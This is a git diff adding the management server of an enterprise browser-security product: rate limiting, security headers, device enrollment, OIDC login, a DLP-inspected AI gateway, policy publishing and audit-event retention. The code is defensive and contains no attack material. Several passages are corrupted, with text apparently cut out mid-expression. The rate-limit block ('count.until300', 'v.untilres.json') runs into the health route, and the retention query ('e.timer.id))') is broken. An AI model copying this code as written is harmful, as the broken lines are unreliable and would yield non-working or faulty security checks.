app=express();app.disable('x-powered-by'); + const limits=new Map(); + app.use((req,res,next)=>{ + res.set({'X-Content-Type-Options':'nosniff','Referrer-Policy':'no-referrer','Cache-Control':'no-store', + 'Content-Security-Policy':"default-src 'self'; script-src 'self'; style-src 'self'; connect-src 'self'; img-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'"}); + if(!['GET','HEAD','OPTIONS'].includes(req.method)) { + if(req.headers.origin && req.headers.origin!==config.publicUrl) return res.status(403).json({error:'Origin rejected'}); + if(req.headers['sec-fetch-site']==='cross-site') return res.status(403).json({error:'Cross-site request rejected'}); + } + const now=Date.now(),auth=(req.headers.authorization||'').replace(/^Bearer /,''); + // Corporate NATs share an IP. Only an authenticated, active device gets its + // own bucket; arbitrary bearer strings cannot evade the IP limit. + const enrolled=auth.length>=32&&auth.length<=200?store.db.prepare('SELECT id FROM devices WHERE token_hash=? AND revoked=0').get(digest(auth)):null; + const bootstrap=bootstrapAllowed(config)&&auth&&config.adminToken&&timingSafeEqual(Buffer.from(digest(auth)),Buffer.from(digest(config.adminToken))); + const sessionCredential=cookie(req,'sn_session'); + const sessionIdentity=!enrolled&&!bootstrap&&sessionCredential.length>=32&&sessionCredential.length<=200?store.db.prepare('SELECT hash FROM sessions WHERE hash=? AND expires>?').get(digest(sessionCredential),now):null; + const key=enrolled?`device:${enrolled.id}`:bootstrap?'admin:bootstrap':sessionIdentity?`admin:${sessionIdentity.hash}`:`ip:${req.socket.remoteAddress||'unknown'}`; + let count=limits.get(key);if(!count || count.until300) return res.status(429).json({error:'Rate limit exceeded'}); + if(limits.size>10000)for(const [k,v] of limits)if(v.untilres.json({status:'ok',version:'0.1.0'})); + app.get('/api/auth/status',(_req,res)=>res.json({sso:!!config.oidcIssuer,publicUrl:config.publicUrl,bootstrapAllowed:bootstrapAllowed(config)})); + authRoutes(app,store,config); + const admin=adminMiddleware(store,config); + const device=(req,res,next)=>{ + const auth=(req.headers.authorization||'').replace(/^Bearer /,''); + const d=store.db.prepare('SELECT * FROM devices WHERE token_hash=? AND revoked=0').get(digest(auth)); + if(!d)return res.status(401).json({error:'Device is unenrolled or revoked'}); + req.device=d;next(); + }; + installBookmarkRoutes(app,store,device,admin); + installEvidence(app,store,config,device,admin); + const managementChannel=installPolicyChannel(app,store,device); + app.get('/api/admin/management-channel',admin,(_req,res)=>res.json({version:managementChannel.version,signatureKey:managementChannel.signatureKey,requirePQManagement:!!config.requirePQManagement})); + function enroll(user,body,protectedBootstrap=false,verified=false) { + const b=z.object({name:z.string().min(1).max(100),platform:z.enum(['win32','darwin','linux'])}).parse(body); + const id=randomUUID(),credential=token(); + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run(id,b.name,b.platform,user,digest(credential),new Date().toISOString()); + if(verified)store.db.prepare('UPDATE devices SET verified_subject=? WHERE id=?').run(user,id); + store.event(id,'device.enrolled',{platform:b.platform,actor:user}); + return {id,token:credential,publicKey:store.publicKey(),...(!config.requirePQManagement&&!protectedBootstrap?{policy:store.envelope(id)}:{}),managementChannel}; + } + app.post('/api/device/enroll',(req,res)=>{ + const code=z.string().min(20).max(200).parse(req.body.code); + const e=store.db.prepare('SELECT * FROM enrollments WHERE hash=? AND expires>?').get(digest(code),Date.now()); + if(!e)return res.status(401).json({error:'Enrollment code invalid or expired'}); + // Validate before consuming the one-use code. + z.object({name:z.string().min(1).max(100),platform:z.enum(['win32','darwin','linux'])}).parse(req.body); + store.db.prepare('DELETE FROM enrollments WHERE hash=?').run(e.hash);res.json(enroll(e.user,req.body,req.headers['x-safetynet-pq-bootstrap']==='1')); + }); + app.post('/api/device/sso/start',(req,res)=>{ + if(!config.oidcIssuer)return res.status(409).json({error:'SSO not configured'}); + const id=token(),secret=token();store.db.prepare('INSERT INTO tickets VALUES(?,?,?,?)').run(id,digest(secret),Date.now()+300000,null); + res.json({id,secret,url:`${config.publicUrl}/auth/login?ticket=${id}`}); + }); + app.post('/api/device/sso/poll',(req,res)=>{ + const b=z.object({id:z.string().max(100),secret:z.string().max(100),name:z.string().min(1).max(100),platform:z.enum(['win32','darwin','linux'])}).parse(req.body); + const t=store.db.prepare('SELECT * FROM tickets WHERE id=? AND secret_hash=? AND expires>?').get(b.id,digest(b.secret),Date.now()); + if(!t)return res.status(401).json({error:'Device login expired'}); + if(!t.credential)return res.status(202).json({pending:true}); + store.db.prepare('DELETE FROM tickets WHERE id=?').run(b.id);res.json(enroll(JSON.parse(t.credential).sub,b,req.headers['x-safetynet-pq-bootstrap']==='1',true)); + }); + app.get('/api/device/policy',device,(req,res)=>config.requirePQManagement?res.status(403).json({error:'Protected management channel required'}):res.json(store.envelope(req.device.id))); + app.post('/api/device/heartbeat',device,(req,res)=>{ + const b=z.object({policyVersion:z.number().int().nonnegative()}).parse(req.body); + store.db.prepare('UPDATE devices SET last_seen=?,policy_version=? WHERE id=?').run(new Date().toISOString(),b.policyVersion,req.device.id);res.json({ok:true}); + }); + app.post('/api/device/events',device,(req,res)=>{ + const b=z.object({eventId:z.string().uuid(),kind:z.enum(['dlp.block','navigation.block','download.block','policy.applied','browser.started','agent.action','agent.denied','devtools.open-requested','devtools.opened','devtools.closed','devtools.denied','download.scan','download.released','upload.authorized','upload.block','dns.block','content.block','vault.created','vault.unlocked','vault.locked','vault.saved','vault.deleted','vault.filled','vault.fill-requested','phishing.block','phishing.error','phishing.scanned','clipboard.block','clipboard.copy','clipboard.cut','clipboard.paste']),ruleId:z.string().max(100).optional(),host:z.string().max(253).optional(),policyVersion:z.number().int().positive(),traceId:z.string().regex(/^[a-f0-9]{32}$/).optional(),spanId:z.string().regex(/^[a-f0-9]{16}$/).optional(),file:transferFacts.FileFactsSchema.optional()}).strict().parse(req.body); + if(b.file&&!b.kind.startsWith('download.')&&!b.kind.startsWith('upload.'))return res.status(400).json({error:'File facts require a transfer event'}); + if(b.kind.startsWith('vault.')&&(b.host!==undefined||b.ruleId!==undefined))return res.status(400).json({error:'Vault audit events accept lifecycle metadata only'}); + store.db.exec('BEGIN IMMEDIATE');try{ + const inserted=store.db.prepare('INSERT OR IGNORE INTO device_events VALUES(?,?)').run(req.device.id,b.eventId); + if(inserted.changes)store.event(req.device.id,b.kind,b);store.db.exec('COMMIT');res.json({ok:true}); + }catch(e){store.db.exec('ROLLBACK');throw e;} + }); + app.post('/api/device/ai',device,async(req,res,next)=>{ + await tracer.startActiveSpan('ai.gateway',async span=>{ + try { + const b=z.object({prompt:z.string().min(1).max(100000)}).strict().parse(req.body),p=store.effectivePolicy(req.device.id); + if(Date.parse(p.expiresAt)<=Date.now())return res.status(403).json({error:'Policy expired'}); + const local=p.ai.trustMode==='local'; + if(!p.ai.enabled || !config.aiBaseUrl || (!local&&!config.aiKey) || p.ai.model!==config.aiModel || p.ai.endpointId!==(config.aiEndpointId||'default'))return res.status(409).json({error:'Approved AI provider is not configured'}); + const endpoint=new URL(`${config.aiBaseUrl.replace(/\/$/,'')}/${p.ai.provider==='ollama'?'api/chat':'chat/completions'}`); + if(endpoint.username||endpoint.password||endpoint.search||endpoint.hash)throw Error('AI endpoint credentials and query forbidden'); + if(local ? !(['127.0.0.1','[::1]'].includes(endpoint.hostname)&&['http:','https:'].includes(endpoint.protocol)) : endpoint.protocol!=='https:')throw Error('AI endpoint trust policy rejected'); + async function aiInspect(text){let verdict=inspectForAI(Buffer.from(text),p);if(verdict.decision==='allow'&&(p.dlp.semantic.enabled||p.security.yara.enabled)){const semantic=await inspector(config,'/inspect',{data:Buffer.from(text).toString('base64'),policy:p});if(semantic.decision==='block')verdict=allowsConfidentialLocal(semantic,p)?{...semantic,decision:'allow',classification:'local-only'}:semantic;}if(verdict.decision==='allow'){const external=await enterpriseInspection.scanEnterprise(Buffer.from(text),p,'ai');if(external.decision!=='allow')verdict=external;}return verdict;} + const verdict=await aiInspect(b.prompt); + store.event(req.device.id,'ai.decision',{...verdict,policyVersion:p.version}); + span.setAttribute('dlp.decision',verdict.decision); + if(verdict.decision==='block')return res.status(403).json({error:'Company policy blocked this prompt',ruleId:verdict.ruleId}); + const upstream=await fetch(endpoint,{method:'POST',redirect:'error',headers:{'content-type':'application/json',...(config.aiKey?{authorization:`Bearer ${config.aiKey}`}:{})},body:JSON.stringify({model:p.ai.model,messages:[{role:'user',content:b.prompt}],stream:false}),signal:AbortSignal.timeout(60000)}); + if(!upstream.ok)return res.status(502).json({error:'AI provider request failed'}); + const text=await readLimited(upstream,2*1024*1024);const result=JSON.parse(text); + const answer=z.string().max(100000).parse(p.ai.provider==='ollama'?result.message?.content:result.choices?.[0]?.message?.content); + const output=await aiInspect(answer); + store.event(req.device.id,'ai.output-decision',{...output,policyVersion:p.version}); + if(output.decision==='block') {store.event(req.device.id,'ai.output-block',{ruleId:output.ruleId,policyVersion:p.version});return res.status(403).json({error:'AI response blocked by company policy',ruleId:output.ruleId});} + res.json({answer}); + }catch(e){store.event(req.device.id,'ai.failure',{policyVersion:store.get('policy').version});next(e);}finally{span.end();} + }); + }); + app.use('/api/admin',admin); + installIncidents(app,store); + app.get('/api/admin/session',(req,res)=>res.json({principal:req.principal})); + app.get('/api/admin/sessions',(req,res)=>{ + const rows=store.db.prepare('SELECT hash,expires,principal FROM sessions WHERE expires>? ORDER BY expires DESC LIMIT 501').all(Date.now()); + const sessions=[];store.db.exec('BEGIN IMMEDIATE'); + try{ + for(const row of rows.slice(0,500)){ + const principal=normalizePrincipal(JSON.parse(row.principal));if(!principal)continue; + let handle=store.db.prepare('SELECT handle FROM management_session_handles WHERE session_hash=?').get(row.hash)?.handle; + if(!handle){handle=randomUUID();store.db.prepare('INSERT INTO management_session_handles VALUES(?,?)').run(handle,row.hash);} + sessions.push({id:handle,subject:principal.sub,name:principal.name||principal.sub,role:principal.role,expiresAt:new Date(row.expires).toISOString()}); + } + store.event(null,'management.sessions-reviewed',{actor:req.principal.sub,count:sessions.length});store.db.exec('COMMIT'); + }catch(error){store.db.exec('ROLLBACK');throw error;} + res.json({sessions,truncated:rows.length>500}); + }); + app.post('/api/admin/sessions/:id/revoke',(req,res)=>{ + const id=z.string().uuid().parse(req.params.id);z.object({}).strict().parse(req.body); + const target=store.db.prepare('SELECT session_hash FROM management_session_handles WHERE handle=?').get(id); + if(!target)return res.status(404).json({error:'Management session not found'}); + store.db.exec('BEGIN IMMEDIATE'); + try{const result=store.db.prepare('DELETE FROM sessions WHERE hash=?').run(target.session_hash);if(!result.changes)throw Error('Session revocation conflict');store.event(null,'management.session-revoked',{actor:req.principal.sub,count:1});store.db.exec('COMMIT');} + catch(error){store.db.exec('ROLLBACK');throw error;} + res.json({ok:true,revoked:1}); + }); + app.post('/api/admin/integrations/icap/probe',async(req,res,next)=>{ + try{const settings=EnterpriseSchema.parse({icap:req.body}).icap;const result=await icapClient.probeIcap(settings,enterpriseInspection.deploymentTLS());store.event(null,'integration.tested',{actor:req.principal.sub,integration:'icap',ready:result.ready});res.json({...result,scope:'management-server',check:'options-only',contentSent:false});} + catch{res.status(400).json({error:'ICAP configuration or deployment certificates are unavailable'});} + }); + app.get('/api/admin/presets',(_req,res)=>res.json({presets:policyPresets})); + app.get('/api/admin/integrations',(_req,res)=>res.json({readiness:enterpriseReadiness(store.get('policy'))})); + app.post('/api/admin/presets/preview',(req,res)=>{const b=z.object({id:z.string().max(80),policy:PolicySchema}).strict().parse(req.body);if(!policyPresets.some(p=>p.id===b.id))return res.status(400).json({error:'Unknown enterprise preset'});res.json(previewPreset(b.policy,b.id));}); + const publisher=policyPublisher(app,store,config); + installPolicyGroups(app,store,publisher); + installUserProfiles(app,store,publisher); + installPolicyHistory(app,store,publisher); + app.put('/api/admin/security/blocklists',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),blockedHosts:z.array(z.string()).max(10000),blockedIPs:z.array(z.string()).max(10000)}).strict().parse(req.body); + SecuritySchema.parse({dns:{blockedHosts:b.blockedHosts,blockedIPs:b.blockedIPs}}); + const p=PolicySchema.parse(store.get('policy'));if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + p.security.dns.blockedHosts=b.blockedHosts;p.security.dns.blockedIPs=b.blockedIPs;p.version++; + publisher.submit(req,res,p,'security.blocklists-published'); + }); + app.post('/api/admin/security/visual-reference',async(req,res,next)=>{ + try{ + const b=z.object({expectedVersion:z.number().int().positive(),brandId:z.string().min(1).max(80),label:z.string().min(1).max(100),allowedOrigins:z.array(VisualOriginSchema).min(1).max(50),data:z.string().max(1800000).regex(/^[A-Za-z0-9+/]*={0,2}$/),scope:z.enum(['viewport','login-form'])}).strict().parse(req.body); + if(store.get('policy').version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + const bytes=Buffer.from(b.data,'base64');if(!bytes.length||bytes.length>1024*1024||bytes.toString('base64')!==b.data)return res.status(400).json({error:'Reference must be canonical base64 PNG up to 1 MB'}); + const {fingerprintPNG}=await import('../../packages/core/visual-image.cjs');const result=fingerprintPNG(bytes); + if(result.usable!==true)return res.status(400).json({error:'Reference has insufficient visual detail; use a trusted nonblank login screenshot'}); + const reference={hash:result.hash,algorithm:'phash-dct32-v1',scope:b.scope,viewport:{width:result.width,height:result.height}}; + const brand=VisualBrandSchema.parse({id:b.brandId,label:b.label,allowedOrigins:b.allowedOrigins,references:[reference]}); + store.event(null,'phishing.reference-derived',{actor:req.principal.sub,ruleId:b.brandId,version:b.expectedVersion}); + const quality=z.object({contrast:z.number().finite(),stddev:z.number().finite(),dynamicRange:z.number().finite(),entropy:z.number().finite(),detail:z.number().finite()}).parse(result.quality); + res.json({brand,quality:{...quality,width:result.width,height:result.height},warning:'Draft only. Explicitly publish signed policy to enable this reference. Perceptual similarity is not proof of a phishing page; use trusted reference images and validate false positives.'}); + }catch(e){next(e);} + }); + app.get('/api/admin/teaching',(_req,res)=>res.json({drafts:store.db.prepare('SELECT * FROM teaching ORDER BY time DESC LIMIT 100').all().map(r=>({...r,reference:JSON.parse(r.reference)}))})); + app.post('/api/admin/teaching',async(req,res,next)=>{ + try{const b=z.object({label:z.string().min(1).max(100),data:z.string().max(1400000).regex(/^[A-Za-z0-9+/]*={0,2}$/),filename:z.string().max(200)}).strict().parse(req.body);const bytes=Buffer.from(b.data,'base64');if(!bytes.length||bytes.length>1024*1024)return res.status(413).json({error:'Reference document limit is 1 MB'}); + const reference=await inspector(config,'/reference-document',{data:b.data,filename:b.filename}); + const id=randomUUID();store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run(id,new Date().toISOString(),req.principal.sub,b.label,'draft',JSON.stringify(reference),null,null);store.event(null,'teaching.drafted',{actor:req.principal.sub,referenceId:id});res.json({id,reference,status:'draft'}); + }catch(e){next(e);} + }); + app.post('/api/admin/teaching/:id/publish',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),approve:z.literal(true),mode:z.enum(['complete','available-fingerprints']).default('complete')}).strict().parse(req.body),draft=store.db.prepare("SELECT * FROM teaching WHERE id=? AND status='draft'").get(req.params.id); + if(!draft)return res.status(404).json({error:'Draft not found'});const p=PolicySchema.parse(store.get('policy'));if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + const reference=JSON.parse(draft.reference);if(!reference.registrationReady&&b.mode==='complete')return res.status(409).json({error:'Complete local inspection required before publication; available-fingerprints mode can explicitly approve partial coverage'});p.dlp.rules.push({id:draft.id,label:draft.label,kind:'sha256',value:reference.sha256,action:'block'}); + for(const [index,value] of reference.fragmentHashes.slice(0,1000).entries())p.dlp.rules.push({id:`${draft.id}:${index}`,label:draft.label,kind:'fragment-sha256',value,action:'block'});p.version++;PolicySchema.parse(p); + const coverage=reference.registrationReady?'complete':'partial';publisher.submit(req,res,p,'teaching.published',{type:'teaching',id:draft.id,coverage,mode:b.mode},{coverage}); + }); + app.get('/api/admin/overview',(req,res)=>{ + let policy,migrationRequired=false;try{policy=store.get('policy');}catch(error){if(!(error instanceof z.ZodError))throw error;const raw=store.getRaw('policy');policy=PolicySchema.parse({...raw,dlp:{...raw.dlp,semantic:defaultSemantic()}});migrationRequired=true;} + const devices=store.db.prepare('SELECT id,name,platform,user,revoked,last_seen,policy_version,document_analysis_enabled FROM devices ORDER BY last_seen DESC').all().map(d=>({...d,documentAnalysisEnabled:d.document_analysis_enabled===null?policy.inspection.documentAnalysisEnabled:!!d.document_analysis_enabled})); + const alerts=store.db.prepare('SELECT * FROM alerts ORDER BY id DESC LIMIT 100').all(); + const events=store.db.prepare('SELECT * FROM events ORDER BY id DESC LIMIT 100').all().map(e=>({...e,metadata:JSON.parse(e.metadata)})); + res.json({policy,migrationRequired,publicKey:store.publicKey(),devices,events,alerts,principal:req.principal,siem:config.siemStatus?.()||null,auditRetention:config.auditRetentionStatus?.()||{enabled:false},governance:{requireIndependentPolicyApproval:!!config.requireIndependentPolicyApproval}}); + }); + app.get('/api/admin/events/export',(req,res)=>{ + const query=z.object({after:z.coerce.number().int().nonnegative().default(0),limit:z.coerce.number().int().min(1).max(1000).default(100),format:z.enum(['ecs','cef']).default('ecs')}).parse(req.query); + const rows=store.db.prepare('SELECT * FROM events WHERE id>? ORDER BY id LIMIT ?').all(query.after,query.limit).map(e=>({...e,metadata:JSON.parse(e.metadata)})); + res.setHeader('X-SafetyNet-Next-Cursor',String(rows.at(-1)?.id??query.after)); + res.type(query.format==='ecs'?'application/x-ndjson':'text/plain').send(rows.map(e=>query.format==='ecs'?JSON.stringify(toECS(e,store.get('installationId'))):toCEF(e,store.get('installationId'))).join('\n')+(rows.length?'\n':'')); + }); + app.put('/api/admin/policy',(req,res)=>{ + const p=PolicySchema.parse(req.body),previous=store.getRaw('policy'); + if(!globalBookmarksValid(store,p))return res.status(400).json({error:'Global policies require empty personal bookmarks and distinct company IDs'}); + if(p.version!==previous.version+1)return res.status(409).json({error:'Refresh the console: version must increase by exactly one'}); + const expires=Date.parse(p.expiresAt);if(expires<=Date.now() || expires>Date.now()+30*86400000)return res.status(400).json({error:'Policy expiry must be within the next 30 days'}); + publisher.submit(req,res,p); + }); + app.post('/api/admin/enrollments',(req,res)=>{ + const user=z.string().min(1).max(200).parse(req.body.user),code=token(); + store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,user); + store.event(null,'enrollment.created',{actor:req.principal.sub,user});res.json({code,expiresInSeconds:600}); + }); + app.post('/api/admin/devices/:id/revoke',(req,res)=>{ + const r=store.db.prepare('UPDATE devices SET revoked=1 WHERE id=? AND revoked=0').run(req.params.id); + if(!r.changes)return res.status(404).json({error:'Active device not found'}); + store.event(req.params.id,'device.revoked',{actor:req.principal.sub});res.json({ok:true}); + }); + app.patch('/api/admin/devices/:id/inspection',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),documentAnalysisEnabled:z.boolean()}).strict().parse(req.body),p=store.get('policy'); + if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(req.params.id))return res.status(404).json({error:'Active device not found'}); + p.version++;publisher.submit(req,res,p,'inspection.policy-published',{type:'inspection',deviceId:req.params.id,enabled:b.documentAnalysisEnabled},{documentAnalysisEnabled:b.documentAnalysisEnabled}); + }); + app.post('/api/admin/policy/test',async(req,res,next)=>{ + try{const b=z.object({text:z.string().max(100000),policy:PolicySchema}).parse(req.body);let result=inspect(Buffer.from(b.text),b.policy); + if(result.decision==='allow'&&b.policy.dlp.semantic.enabled)result=await inspector(config,'/inspect',{data:Buffer.from(b.text).toString('base64'),policy:b.policy});res.json(result); + }catch(e){next(e);} + }); + app.post('/api/admin/semantic/reference',async(req,res,next)=>{ + try{ + const b=z.object({description:z.string().min(10).max(4000)}).strict().parse(req.body); + const result=await inspector(config,'/embed',{data:Buffer.from(b.description).toString('base64')}); + if(!result.coverage.complete||!result.coverage.extractionComplete)return res.status(409).json({error:'Complete local text inspection is required to create a semantic reference'}); + store.event(null,'semantic.reference-created',{actor:req.principal.sub,model:result.model,revision:result.revision,dimensions:result.dimensions});res.json(result); + }catch(e){next(e);} + }); + app.post('/api/admin/semantic/document-reference',async(req,res,next)=>{ + try{ + const b=z.object({data:z.string().max(1400000).regex(/^[A-Za-z0-9+/]*={0,2}$/),filename:z.string().min(1).max(200)}).strict().parse(req.body),bytes=Buffer.from(b.data,'base64'); + if(!bytes.length||bytes.length>1048576||bytes.toString('base64')!==b.data)return res.status(413).json({error:'Semantic reference document must be canonical base64 up to 1 MiB'}); + const result=await inspector(config,'/embed',{data:b.data}); + if(!result.coverage.complete||!result.coverage.extractionComplete)return res.status(409).json({error:'Complete extraction and chunk coverage are required for a semantic document reference'}); + store.event(null,'semantic.document-reference-created',{actor:req.principal.sub,model:result.model,revision:result.revision,dimensions:result.dimensions});res.json(result); + }catch(e){next(e);} + }); + app.use(express.static(fileURLToPath(new URL('./public',import.meta.url)),{index:'index.html'})); + app.use((error,_req,res,_next)=>{ + config.onError?.(error); + const invalid=error instanceof z.ZodError || error.type==='entity.parse.failed'; + res.status(invalid?400:error.type==='entity.too.large'?413:[400,403,404,409].includes(error.status)?error.status:500).json({error:invalid?'Request validation failed':'Request failed',...(error instanceof z.ZodError?{issues:error.issues.map(v=>({path:v.path.join('.'),message:v.message}))}:{})}); + }); + return app; +} +async function readLimited(response,maxBytes) { + const chunks=[];let size=0; + for await(const chunk of response.body){size+=chunk.length;if(size>maxBytes){await response.body.cancel().catch(()=>{});throw Error('AI response too large');}chunks.push(chunk);} + return Buffer.concat(chunks).toString('utf8'); +} + + + + + + + + diff --git a/apps/server/audit-retention.mjs b/apps/server/audit-retention.mjs new file mode 100644 index 0000000..79e98b0 --- /dev/null +++ b/apps/server/audit-retention.mjs @@ -0,0 +1,52 @@ +import {z} from 'zod'; + +const Options=z.object({days:z.number().int().min(1).max(3650),limit:z.number().int().min(1).max(1000).default(500)}).strict(); +// Only the active exporter's durable cursor permits deletion. Old cursor keys +// from an earlier SIEM configuration never authorize the current destination. +export function pruneAuditEvents(store,{days,limit=500,exportedThrough,now=Date.now(),dryRun=true}){ + const options=Options.parse({days,limit}); + if(!Number.isSafeInteger(exportedThrough)||exportedThrough<0)throw Error('Verified SIEM export cursor required'); + if(!Number.isFinite(now))throw Error('Invalid retention clock'); + const cutoff=new Date(now-options.days*86400000).toISOString(); + const db=store.db;db.exec('SAVEPOINT audit_retention'); + try{ + const hasCases=!!db.prepare("SELECT 1 FROM sqlite_master WHERE type='table' AND name='incident_cases'").get(); + const protectedCase=hasCases?'AND NOT EXISTS (SELECT 1 FROM incident_cases c WHERE c.event_id=e.id)':''; + const hasEvidence=!!db.prepare("SELECT 1 FROM sqlite_master WHERE type='table' AND name='protected_evidence'").get(); + const protectedEvidence=hasEvidence?'AND NOT EXISTS (SELECT 1 FROM protected_evidence p WHERE p.source_event_id=e.id)':''; + const candidates=db.prepare(`SELECT e.id FROM events e WHERE e.timer.id)); + // A batch boundary must not leave a retained correlation pointing at an event + // we removed. It is safe to remove children first and their source next run. + const bound=candidates.map(()=>'?').join(','); + const children=candidates.length?db.prepare(`SELECT id,json_extract(metadata,'$.sourceEventId') AS source FROM events WHERE kind='sigma.alert' AND id IN (${bound})`).all(...ids):[]; + const retainedSources=candidates.length?db.prepare(`SELECT DISTINCT json_extract(metadata,'$.sourceEventId') AS source FROM events WHERE kind='sigma.alert' AND json_extract(metadata,'$.sourceEventId') IN (${bound}) AND id NOT IN (${bound})`).all(...ids,...ids):[]; + for(const row of retainedSources)ids.delete(row.source); + let changed;do{changed=false;for(const child of children){if(ids.has(child.source)&&!ids.has(child.id)){ids.delete(child.source);changed=true;}}}while(changed); + const selected=[...ids]; + if(!dryRun&&selected.length){ + const placeholders=selected.map(()=>'?').join(','); + db.prepare(`DELETE FROM alerts WHERE event_id IN (${placeholders})`).run(...selected); + db.prepare(`DELETE FROM events WHERE id IN (${placeholders})`).run(...selected); + // Device event UUIDs deliberately survive: removing them would let a replay + // recreate expired events. No signing/history/enrollment state is pruned. + store.event(null,'audit.retention-applied',{count:selected.length,retentionDays:days,exportedThrough}); + } + db.exec('RELEASE audit_retention'); + return {dryRun,cutoff,eligible:selected.length,exportedThrough,incidentEvidencePreserved:true,deduplicationPreserved:true}; + }catch(error){db.exec('ROLLBACK TO audit_retention');db.exec('RELEASE audit_retention');throw error;} +} + +export function startAuditRetention(store,siem,{days=0,intervalMs=3600000}={}){ + if(!Number.isInteger(days)||days<0||days>3650)throw Error('AUDIT_RETENTION_DAYS must be 0 or 1..3650'); + if(days)store.db.exec("CREATE INDEX IF NOT EXISTS audit_retention_time ON events(time,id); CREATE INDEX IF NOT EXISTS audit_sigma_source ON events(json_extract(metadata,'$.sourceEventId')) WHERE kind='sigma.alert';"); + let running=false,lastRun=null,lastFailure=null,timer; + function run(){ + if(!days||running)return;running=true; + try{const status=siem.status();lastRun={...pruneAuditEvents(store,{days,exportedThrough:status.cursor,dryRun:false}),at:new Date().toISOString()};lastFailure=null;} + catch{lastFailure=new Date().toISOString();} + finally{running=false;} + } + if(days){timer=setInterval(run,intervalMs);timer.unref();} + return {run,stop:()=>clearInterval(timer),status:()=>({enabled:!!days,days,lastRun,lastFailure,scope:'exported-unreferenced-database-events'})}; +} diff --git a/apps/server/auth.mjs b/apps/server/auth.mjs new file mode 100644 index 0000000..420ca6d --- /dev/null +++ b/apps/server/auth.mjs @@ -0,0 +1,91 @@ +import { createHash, timingSafeEqual } from 'node:crypto'; +import { createRemoteJWKSet, jwtVerify, customFetch } from 'jose'; +import { digest, token } from './store.mjs'; +import { normalizePrincipal,principalForGroups,adminRoutePermission,bootstrapAllowed } from './admin-access.mjs'; +export function authRoutes(app, store, config) { + const {db} = store; + const oidcFetch=config.oidcFetch||fetch; + let discovery; + async function metadata() { + if(!config.oidcIssuer || !config.oidcClientId) throw Error('SSO is not configured'); + if(!discovery) { + const issuer=config.oidcIssuer.replace(/\/$/,''); + if(new URL(issuer).protocol!=='https:') throw Error('OIDC issuer requires HTTPS'); + const response=await oidcFetch(`${issuer}/.well-known/openid-configuration`,{redirect:'error',signal:AbortSignal.timeout(10000)}); + if(!response.ok) throw Error('OIDC discovery failed'); + const m=await response.json(); + if(m.issuer!==config.oidcIssuer || ['authorization_endpoint','token_endpoint','jwks_uri'].some(k=>new URL(m[k]).protocol!=='https:')) throw Error('OIDC metadata rejected'); + discovery=m; + } + return discovery; + } + app.get('/auth/login',async(req,res,next)=>{ + try { + const m=await metadata();const state=token(),verifier=token(),nonce=token(); + const ticket=typeof req.query.ticket==='string'?req.query.ticket:''; + if(ticket && !db.prepare('SELECT id FROM tickets WHERE id=? AND expires>?').get(ticket,Date.now())) return res.status(400).send('Invalid device login'); + db.prepare('INSERT INTO logins VALUES(?,?,?,?,?)').run(state,Date.now()+300000,verifier,nonce,ticket); + res.cookie('sn_login',state,{httpOnly:true,secure:config.secure,sameSite:'lax',maxAge:300000,path:'/auth'}); + const url=new URL(m.authorization_endpoint); + for(const [k,v] of Object.entries({client_id:config.oidcClientId,response_type:'code',scope:'openid profile email',redirect_uri:`${config.publicUrl}/auth/callback`,state,nonce,code_challenge:createHash('sha256').update(verifier).digest('base64url'),code_challenge_method:'S256'})) url.searchParams.set(k,v); + res.redirect(url.toString()); + } catch(e){next(e);} + }); + app.get('/auth/callback',async(req,res,next)=>{ + try { + const state=typeof req.query.state==='string'?req.query.state:''; + if(cookie(req,'sn_login')!==state || !state) return res.status(400).send('Login state rejected'); + const login=db.prepare('SELECT * FROM logins WHERE state=? AND expires>?').get(state,Date.now()); + if(!login || typeof req.query.code!=='string') return res.status(400).send('Login expired'); + db.prepare('DELETE FROM logins WHERE state=?').run(state); + res.clearCookie('sn_login',{path:'/auth'}); + const m=await metadata(); + const form=new URLSearchParams({grant_type:'authorization_code',code:req.query.code,client_id:config.oidcClientId,redirect_uri:`${config.publicUrl}/auth/callback`,code_verifier:login.verifier}); + const headers={'content-type':'application/x-www-form-urlencoded'}; + if(config.oidcClientSecret) { + headers.authorization=`Basic ${Buffer.from(`${encodeURIComponent(config.oidcClientId)}:${encodeURIComponent(config.oidcClientSecret)}`).toString('base64')}`; + } + const r=await oidcFetch(m.token_endpoint,{method:'POST',redirect:'error',headers,body:form,signal:AbortSignal.timeout(10000)}); + if(!r.ok) throw Error('Token exchange failed'); + const result=await r.json(); + const {payload}=await jwtVerify(result.id_token,createRemoteJWKSet(new URL(m.jwks_uri),{[customFetch]:oidcFetch}),{issuer:config.oidcIssuer,audience:config.oidcClientId,algorithms:['RS256','ES256','PS256','EdDSA'],requiredClaims:['exp','iat','sub','nonce']}); + if(payload.nonce!==login.nonce || (payload.azp && payload.azp!==config.oidcClientId)) throw Error('Identity claims rejected'); + const groups=payload[config.oidcGroupsClaim]; + const principal=principalForGroups({sub:payload.sub,name:typeof payload.name==='string'?payload.name:payload.sub},groups,config); + if(login.ticket) { + if(config.oidcDeviceGroup&&(!Array.isArray(groups)||!groups.includes(config.oidcDeviceGroup)))return res.status(403).send('Your account is not authorized for browser enrollment.'); + const ticket=db.prepare('SELECT * FROM tickets WHERE id=? AND expires>?').get(login.ticket,Date.now()); + if(!ticket || ticket.credential) return res.status(400).send('Device login expired or already authorized'); + db.prepare('UPDATE tickets SET credential=? WHERE id=?').run(JSON.stringify(principal),login.ticket); + store.event(null,'sso.device-authorized',{actor:principal.sub}); + return res.type('text').send('Signed in. Return to SafetyNet to complete device enrollment.'); + } + if(!principal.role) return res.status(403).send('Your account is not in an authorized management group.'); + const credential=token();db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+8*3600000,JSON.stringify(principal)); + 